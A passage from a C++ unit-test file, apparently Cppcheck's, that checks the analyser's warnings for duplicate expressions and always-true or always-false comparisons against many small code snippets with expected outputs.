(style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 